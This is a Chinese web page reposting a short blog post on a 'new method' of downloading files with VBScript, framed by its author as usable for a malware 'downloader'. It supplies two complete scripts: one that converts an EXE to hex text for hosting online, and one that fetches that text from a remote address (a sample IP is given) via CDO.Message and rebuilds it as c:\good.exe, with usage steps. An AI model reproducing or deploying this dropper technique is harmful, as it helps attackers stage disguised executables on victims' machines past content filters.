• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    VBS下载文件的新方法
    BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。
    于是研究了一会。写出个粗糙的DEMO。
    exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制
    ================================================
    复制代码 代码如下:

    'code by xiaolu
    'change by NetPatch
    on error resume next
    set arg=wscript.arguments
    if arg.count=0 then wscript.quit
    do while 1
    fname=arg(0)
    err.number=0
    Set Ado = CreateObject("adodb.stream")
    With Ado
    .Type = 1
    .open
    .loadfromfile fname
    ss = .read
    End With
    if err.number>0 then
    if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
    else
    exit do
    end if
    loop
    if fname="" then Wscript.quit
    Set Fso=CreateObject("Scripting.FileSystemObject")
    Set File=fso.OpenTextFile(arg(0)".htm",2, True)
    File.write Bin2Str(ss)
    File.close
    Set fso=nothing
    Ado.close
    set Abo=nothing
    Function Bin2Str(Re)
    For i = 1 To lenB(Re)
    bt = AscB(MidB(Re, i, 1))
    if bt 16 Then Bin2Str=Bin2Str"0"
    Bin2Str=Bin2Str Hex(bt)
    Next
    End Function

    ======================================
    下载者 down.vbs
    =============
    [code]
    on error resume next
    set arg=wscript.arguments
    if arg.count=0 then wscript.quit
    'code by NetPatch
    'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
    Set Mail1 = CreateObject("CDO.Message")
    Mail1.CreateMHTMLBody arg(0),31
    ss= Mail1.HTMLBody
    Set Mail1 = Nothing
    Set RS=CreateObject("ADODB.Recordset")
    L=Len(ss)/2
    RS.Fields.Append "m",205,L
    RS.Open:RS.AddNew
    RS("m")=ssChrB(0)
    RS.Update
    ss=RS("m").GetChunk(L)
    Set s=CreateObject("ADODB.Stream")
    with s
    .Mode = 3
    .Type = 1
    .Open()
    .Write ss
    .SaveToFile arg(1),2
    end with
    ==================================
    demo.htm内容时用exe2hex.vbs转EXE后获得的
    使用方法:
    1.exe2hex.vbs 把exe转成十六进制,放到网络上
    2.down.vbs http://xxx/demo.htm c:\good.exe
    您可能感兴趣的文章:
    • 用ASP VBS xmlhttp adodbstream下载和保存图片的代码
    • vbs脚本病毒生成器 下载
    • vbs教程 chm下载
    • VBS 下载方法(CDO.MESSAGE)
    • vbs结合wget 实现下载网站图片
    上一篇:将HTML或txt文件转换为ASP输出的vbs代码
    下一篇:简单的VBS加密实现代码
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    VBS下载文件的新方法 VBS,下载,文件,的,新方法,